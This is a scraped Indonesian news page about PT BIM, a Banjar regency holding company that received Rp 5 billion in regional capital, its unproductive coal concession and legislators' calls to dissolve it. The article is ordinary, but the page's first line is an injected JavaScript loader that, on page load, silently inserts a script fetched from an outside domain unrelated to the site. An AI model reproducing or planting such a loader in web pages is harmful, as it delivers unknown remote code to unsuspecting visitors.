(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Bola Panas Penyertaan Modal Rp 5 Miliar PT BIM Terus Menggelinding


Kontribusi BIM Disoal

BIM menjadi sorotan karena sejak didirikan pada 2008 hingga sekarang tidak memberikan kontribusi bagi keuangan daerah. BIM dibentuk dengan status holding company membawahi PD Baramarta dan PD Pasar. Sampai sekarang status masih holding company artinya masih membawahi Baramarta dan PD Pasar.

Lalu pada 2013 PT BIM melakukan pendekatan ke kementerian ESDM untuk mendapatkan PKP2B eks PT Baramulti seluas enam ribu hektar. Sekarang tahap investasi penambangan bersama tiga kontraktor yakni BPP, PSDI dan PT Alif Jaya.

“Namanya investasi tambang, tentu memerlukan waktu dan kajian-kajian dari ESDM. Pada 2017 menyetorkan dana landgreen kepada kementerian ESDM sebesar Rp 2,3 miliar sebagai syarat batian untuk melakukan pertambangan,” terang Komisaris PT BIM I Nyoman Yudiana beberapa waktu lalu.

Pihaknya sudah menyetorkannya menggunakan dana operasional. Tahun ini sudah meminta kontraktor melakukan pembebasan lahan masyarakat dan menjadi harapannya akhir tahun sudah berjalan aktifitas pertambangan PT BIM.

“Kami mohon maaf kepada masyarakat, saat ini memang belum bisa memberikan deviden bagi keuangan daerah,” ucap Pria yang juga menjabat Asisten Pembangunan dan Ekonomi Pemkab Banjar.

Areal kerja PT BIM ada di tiga kabupaten, yakni Kabupaten Banjar, Banjarbaru dan Tanah Laut. Luasan areal di Kabupaten Banjar seluas 2.600 hektare mulai Gunung Ulin, sampai Desa Biih Karang Intan, Kiram dan masuk ke daerah Bajuin. “Seluas 2.500 hektare di Banjarbaru dan 800 hektare di Tanah Laut. Tapi kami fokus di Kabupaten Banjar terlebih dulu, potensinya diperkirakan dua juta ton,” ujarnya.

Dana APBD yang masuk ke PT BIM untuk penyertaan modal sebesar Rp 5 miliar, sudah pernah memberikan deviden sebesar Rp 25 juta. Dirinya optimistis bisa mengembalikan dana APBD tersebut jika PT BIM sudah beroperasional secara penuh.

Sementara Ketua DPRD Kabupaten Banjar, H Rusli mengatakan, untuk PT BIM diserahkannya kepada Badan Legislagi. Menurutnya, kalau memang tidak layak maka sebaiknya bubarkan saja. “Meski demikian tahun depan masih diberi kesempatan,” katanya.

Dijelaskannya, secara asumsi dengan mengantongi PKP2B maka ada namanya rancangan tambang bisa menggunakan konsultan. Sebelum menambang, sudah bisa mengetahui berapa nilai depositnya, berapa membuat jalan untuk angkutan tambang, termasuk ganti rugi dengan masyarakat.

“Kan bisa dihitung, kemudian harga jualnya, sudah bisa diketahui apakah untung atau tidak. Tetapi PT BIM ini hanya beberapa titik saja yang ada depositnya,” bebernya.(rendy/berbagai sumber)

Reporter: Rendy/Berbagai Sumber
Editor: Chell

Page: 1 2

Desy Arfianty

Recent Posts

Api Dini Hari di Pelambuan, 75 Jiwa Kehilangan Tempat Tinggal

KANALKALIMANTAN.COM, BANJARMASIN - Peristiwa kebakaran terjadi di Jalan Ir PHM Noor, Gang Nuruddin RT 55,… Read More

22 jam ago

Makan Bergizi Gratis Dimulai 6 Januari 2025, Menu Tergantung Wilayah

KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui Badan Gizi Nasional akan memulai program makan bergizi gratis pada… Read More

23 jam ago

DLH Banjarbaru Siapkan Antisipasi Sampah Jemaah Haul ke-20 Sekumpul

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru akan ikut… Read More

2 hari ago

Cara Transaksi Lancar Saat Libur Natal 2024 dengan Layanan BRI

KANALKALIMANTAN.COM - Menjelang liburan Natal 2024 dan Tahun Baru 2025 (Nataru), kebutuhan akan layanan perbankan… Read More

2 hari ago

Kakak Adik Edar Narkoba, 99 Gram Sabu dan Ekstasi Disita

KANALKALIMANTAN.COM, BANJARMASIN - Dua Ibu Rumah Tangga (IRT) dibekuk Satuan Reserse Narkoba (Satrenarkoba) Kepolisian Resor… Read More

2 hari ago

Ikhtiar Jaga Keandalan Listrik Nataru, PLN Doa Bersama Serentak se Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Menyambut Siaga Kelistrikan Natal 2024 dan Tahun Baru 2025, PT PLN (Persero)… Read More

2 hari ago

This website uses cookies.